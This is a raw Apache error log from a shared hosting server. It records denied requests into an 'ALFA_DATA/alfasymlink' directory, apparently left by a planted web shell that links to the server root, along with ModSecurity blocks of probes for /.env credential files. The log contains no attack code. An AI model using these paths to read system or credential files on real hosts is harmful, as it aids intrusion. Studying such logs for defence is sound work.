[Sat Oct 24 13:12:23.386749 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 54.166.126.132:39484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/subsystem/drivers/ac/unbind
[Sat Oct 24 13:12:23.864049 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 185.191.171.4:61924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/objects
[Sat Oct 24 13:12:26.013042 2026] [authz_core:error] [pid 2653691:tid 2653691] [client 185.12.59.118:54022] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 13:12:31.730648 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 23.23.137.202:10915] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:12:35.694744 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.196.237.236:38086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:12:38.257222 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 85.208.96.196:37326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pte_list_desc/partial
[Sat Oct 24 13:12:39.451425 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.94.40.182:34997] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:12:50.459221 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 185.191.171.11:22664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/reclaim_account
[Sat Oct 24 13:12:51.784886 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 34.236.185.101:12366] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:13:08.471037 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.22.64.232:26511] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:13:11.513324 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 50.19.221.48:41150] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:13:15.496982 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.159.98.248:18468] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:13:47.670998 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.54.15.103:7058] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:13:51.800804 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.204.62.163:14755] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:13:55.825877 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.200.93.170:60349] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:14:03.832476 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 100.27.153.9:3339] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/unbind
[Sat Oct 24 13:14:08.232432 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.208.146.193:24063] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:14:11.681909 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 98.82.66.172:42574] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:14:15.774133 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.229.164.203:22133] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:14:19.940078 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 52.204.253.129:7674] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:14:23.884572 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 54.243.63.52:37063] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:14:28.591259 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 107.20.25.33:30127] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:14:31.892470 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 44.209.187.99:19970] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:14:39.800556 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.193.102.198:51844] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:14:45.313899 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.84.93.8:24246] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:14:48.085134 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.94.156.104:54525] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:15:04.099166 2026] [authz_core:error] [pid 2635677:tid 2635677] [client 23.94.246.97:56729] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 13:15:06.783315 2026] [authz_core:error] [pid 2666873:tid 2666873] [client 152.232.4.86:57211] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 13:15:07.407875 2026] [authz_core:error] [pid 2661979:tid 2661979] [client 23.95.255.64:60297] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 13:15:08.162026 2026] [authz_core:error] [pid 2653689:tid 2653689] [client 142.111.44.127:41129] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 13:15:11.857764 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 54.147.80.137:52938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:0c/eject
[Sat Oct 24 13:15:17.695949 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 85.208.96.198:31514] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/reclaim_account
[Sat Oct 24 13:15:23.855262 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.54.95.127:8145] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:15:31.985038 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 44.197.76.210:55476] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:15:33.709515 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 185.191.171.18:50770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/slabs
[Sat Oct 24 13:15:35.727454 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 184.73.167.217:46216] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:15:39.761651 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 44.194.134.53:17325] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:15:44.178038 2026] [ssl:error] [pid 2661978:tid 2661978] (5)Input/output error: [client 34.233.114.237:40914] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:15:47.881476 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.216.13.10:37234] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:15:55.784412 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 184.73.239.35:33159] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:15:59.826616 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 100.29.34.97:19257] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:16:03.738609 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 35.174.253.85:58373] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/serial/bind
[Sat Oct 24 13:16:11.717560 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.90.244.132:63089] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:16:19.791535 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 98.82.38.120:35671] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:16:23.673974 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 34.195.60.66:37229] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:16:32.013141 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.225.45.252:33963] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:16:35.647142 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 18.211.148.239:62149] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:16:39.711277 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.236.41.241:29971] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:16:51.818278 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 54.147.182.90:56137] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:17:07.777908 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 184.73.167.217:27949] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:17:09.355125 2026] [security2:error] [pid 2653691:tid 2653691] [client 130.12.180.166:38944] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzoFQg8t6UDSRTNwJOXiwAAABc"]
[Sat Oct 24 13:17:09.355378 2026] [security2:error] [pid 2653691:tid 2653691] [client 130.12.180.166:38944] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzoFQg8t6UDSRTNwJOXiwAAABc"]
[Sat Oct 24 13:17:09.355683 2026] [security2:error] [pid 2653691:tid 2653691] [client 130.12.180.166:38944] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzoFQg8t6UDSRTNwJOXiwAAABc"]
[Sat Oct 24 13:17:15.608546 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 18.213.240.226:44221] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:17:19.630706 2026] [ssl:error] [pid 2666873:tid 2666873] (5)Input/output error: [client 54.197.114.76:36316] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:17:27.839023 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.156.248.117:34976] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:17:30.394778 2026] [security2:error] [pid 2661978:tid 2661978] [client 130.12.180.175:32600] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzoKlb2-c1qsZ5qYR4ApQAAAAM"]
[Sat Oct 24 13:17:30.395011 2026] [security2:error] [pid 2661978:tid 2661978] [client 130.12.180.175:32600] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzoKlb2-c1qsZ5qYR4ApQAAAAM"]
[Sat Oct 24 13:17:30.395320 2026] [security2:error] [pid 2661978:tid 2661978] [client 130.12.180.175:32600] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzoKlb2-c1qsZ5qYR4ApQAAAAM"]
[Sat Oct 24 13:17:34.030336 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 185.191.171.2:14746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/zswap_entry/validate
[Sat Oct 24 13:17:35.923572 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.213.213.161:59100] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:17:39.576754 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 18.207.89.138:5094] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:17:43.781898 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 98.82.66.172:11897] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:17:47.611946 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 184.73.68.20:29400] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:17:51.615511 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 52.3.102.51:10344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/exar_serial/new_id
[Sat Oct 24 13:17:59.777288 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.223.115.10:46559] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:18:03.958979 2026] [ssl:error] [pid 2627273:tid 2627273] (5)Input/output error: [client 98.82.40.168:59576] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:18:07.953890 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 23.21.227.240:32769] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:18:23.627889 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 54.84.250.51:60198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:07/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/remove
[Sat Oct 24 13:18:27.602724 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.88.84.219:51518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:18:35.791376 2026] [ssl:error] [pid 2653819:tid 2653819] (5)Input/output error: [client 98.82.59.253:47201] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:18:39.588079 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.221.50.71:45089] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:18:43.504962 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 185.191.171.16:39814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_subflow/remote_node_defrag_ratio
[Sat Oct 24 13:18:47.741224 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 35.171.117.160:35117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:18:51.091891 2026] [authz_core:error] [pid 2666873:tid 2666873] [client 52.72.202.4:63038] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sat Oct 24 13:18:59.683574 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 185.191.171.13:61678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/cpu_partial
[Sat Oct 24 13:18:59.684198 2026] [security2:error] [pid 2653689:tid 2653689] [client 185.191.171.13:61678] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/cpu_partial"] [unique_id "atzogwoF0dEltz9SGyy7tAAAABU"]
[Sat Oct 24 13:18:59.684234 2026] [security2:error] [pid 2653689:tid 2653689] [client 185.191.171.13:61678] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/cpu_partial"] [unique_id "atzogwoF0dEltz9SGyy7tAAAABU"]
[Sat Oct 24 13:18:59.922675 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 34.226.89.140:44653] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:19:07.630543 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 18.232.11.247:43855] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:19:11.641587 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 100.28.57.133:3871] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:19:28.399659 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 107.22.208.39:18656] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:19:31.587544 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 54.197.82.195:62764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:16/eject
[Sat Oct 24 13:19:34.634734 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 85.208.96.200:52142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/aliases
[Sat Oct 24 13:19:35.689931 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.209.89.189:53731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:19:39.780532 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.202.52.82:35059] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:19:41.355948 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 85.208.96.203:60240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/sanity_checks
[Sat Oct 24 13:19:43.588856 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 54.144.185.255:61811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:20:19.620918 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.205.163.103:7985] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:20:26.327397 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 100.29.128.75:1924] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:20:28.298818 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.156.124.2:21121] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:20:31.639146 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.157.84.74:53383] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:20:35.673095 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.235.172.96:64411] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:20:39.682263 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 54.157.84.74:27237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:20:47.833865 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 44.207.207.36:47067] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:20:48.349745 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 185.191.171.6:25642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/objs_per_slab
[Sat Oct 24 13:20:51.686463 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 100.29.160.53:14805] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:21:03.971308 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 35.171.117.160:65318] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:21:20.467726 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.216.227.216:64570] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:21:23.919298 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.200.58.199:13052] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:21:27.927503 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.221.156.96:47881] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:21:35.730921 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 44.205.120.22:34643] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:21:43.660216 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.227.180.70:31140] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:21:51.835923 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.212.106.171:57510] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:22:04.874783 2026] [security2:error] [pid 2666873:tid 2666873] [client 98.84.60.17:28180] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/pnp/devices/00:02/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory16/node0/memory7/"] [unique_id "atzpPKpyxzGTDP3At0py2QAAAAc"]
[Sat Oct 24 13:22:04.874837 2026] [security2:error] [pid 2666873:tid 2666873] [client 98.84.60.17:28180] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/pnp/devices/00:02/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory16/node0/memory7/"] [unique_id "atzpPKpyxzGTDP3At0py2QAAAAc"]
[Sat Oct 24 13:22:07.552862 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.207.47.227:25817] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:22:15.567374 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.220.70.171:13314] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:22:19.545707 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.194.139.149:4747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:22:23.574605 2026] [security2:error] [pid 2635677:tid 2635677] [client 52.54.95.127:21363] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/node0/memory13/"] [unique_id "atzpT4Wurp-t0SwAQgRsTQAAAAQ"]
[Sat Oct 24 13:22:23.574666 2026] [security2:error] [pid 2635677:tid 2635677] [client 52.54.95.127:21363] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/node0/memory13/"] [unique_id "atzpT4Wurp-t0SwAQgRsTQAAAAQ"]
[Sat Oct 24 13:22:31.638810 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.202.52.82:24796] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:22:39.688167 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.200.142.199:56313] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:22:47.622514 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 98.82.40.168:27031] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:22:51.946582 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.192.125.239:63718] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:22:59.603171 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 3.212.205.90:60824] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:23:03.651636 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 23.22.105.143:6551] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:23:07.544726 2026] [security2:error] [pid 2653691:tid 2653691] [client 85.208.96.198:62302] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/lua-socket/tcp.html"] [unique_id "atzpewg8t6UDSRTNwJOXlwAAABc"]
[Sat Oct 24 13:23:07.544770 2026] [security2:error] [pid 2653691:tid 2653691] [client 85.208.96.198:62302] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/lua-socket/tcp.html"] [unique_id "atzpewg8t6UDSRTNwJOXlwAAABc"]
[Sat Oct 24 13:23:07.820888 2026] [ssl:error] [pid 2661979:tid 2661979] (5)Input/output error: [client 54.163.136.244:6237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:23:11.559456 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.85.126.86:21551] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:23:17.729043 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 185.191.171.14:36294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_data/slab_size
[Sat Oct 24 13:23:23.637196 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 3.221.156.96:34180] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/console/subsystem/tty22/subsystem/ttyS1/iomem_reg_shift
[Sat Oct 24 13:23:31.631415 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 44.193.102.198:37203] AH02013: coalesce failed to read from data bucket
